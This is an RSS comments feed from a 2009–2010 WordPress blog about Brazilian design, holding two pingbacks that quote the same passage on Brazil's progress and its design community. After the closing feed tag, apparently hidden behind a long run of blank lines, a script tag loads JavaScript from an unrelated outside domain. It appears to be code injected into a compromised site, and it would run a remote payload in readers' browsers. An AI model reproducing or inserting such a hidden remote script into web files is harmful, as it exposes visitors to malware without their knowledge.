
































































































































































































































































































































































































































































































































































































































































































































































































































































































































































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Not design, but designers</title>
	<atom:link href="http://www.alvorada.org/not-design-but-designers/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.alvorada.org</link>
	<description>An Exploration of Brazilian Design</description>
	<lastBuildDate>Wed, 07 Jul 2010 16:08:07 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: A vote for South America’s design capital &#171; Alvorada Eclipse</title>
		<link>http://www.alvorada.org/not-design-but-designers/comment-page-1/#comment-113</link>
		<dc:creator>A vote for South America’s design capital &#171; Alvorada Eclipse</dc:creator>
		<pubDate>Wed, 30 Sep 2009 17:14:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.alvorada.org/?page_id=37#comment-113</guid>
		<description>[...] This comparison is particularly fortunate: 1992 was Spain’s “golden year”, when Barcelona hosted the Olympics, Seville the World’s Fair and Madrid was European Capital of Culture. It was no longer the backward, southern European nation of yesteryear. Brazil doesn’t have to wait for 2016 to prove how far it has come: every day new statistics and news express the country’s social and economic progress, made possible by a burgeoning economy and political stability. Those changes are also expressed in its industry, design and – in what is the focus of my research – its design community. [...]</description>
		<content:encoded><![CDATA[<p>[...] This comparison is particularly fortunate: 1992 was Spain’s “golden year”, when Barcelona hosted the Olympics, Seville the World’s Fair and Madrid was European Capital of Culture. It was no longer the backward, southern European nation of yesteryear. Brazil doesn’t have to wait for 2016 to prove how far it has come: every day new statistics and news express the country’s social and economic progress, made possible by a burgeoning economy and political stability. Those changes are also expressed in its industry, design and – in what is the focus of my research – its design community. [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Alvorada &#187; Blog Archive &#187; A vote for South America’s design capital</title>
		<link>http://www.alvorada.org/not-design-but-designers/comment-page-1/#comment-111</link>
		<dc:creator>Alvorada &#187; Blog Archive &#187; A vote for South America’s design capital</dc:creator>
		<pubDate>Wed, 30 Sep 2009 05:08:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.alvorada.org/?page_id=37#comment-111</guid>
		<description>[...] This comparison is particularly fortunate: 1992 was Spain’s “golden year”, when Barcelona hosted the Olympics, Seville the World’s Fair and Madrid was European Capital of Culture. It was no longer the backward, southern European nation of yesteryear. Brazil doesn’t have to wait for 2016 to prove how far it has come: every day new statistics and news express the country’s social and economic progress, made possible by a burgeoning economy and political stability. Those changes are also expressed in its industry, design and – in what is the focus of my research – its design community. [...]</description>
		<content:encoded><![CDATA[<p>[...] This comparison is particularly fortunate: 1992 was Spain’s “golden year”, when Barcelona hosted the Olympics, Seville the World’s Fair and Madrid was European Capital of Culture. It was no longer the backward, southern European nation of yesteryear. Brazil doesn’t have to wait for 2016 to prove how far it has come: every day new statistics and news express the country’s social and economic progress, made possible by a burgeoning economy and political stability. Those changes are also expressed in its industry, design and – in what is the focus of my research – its design community. [...]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>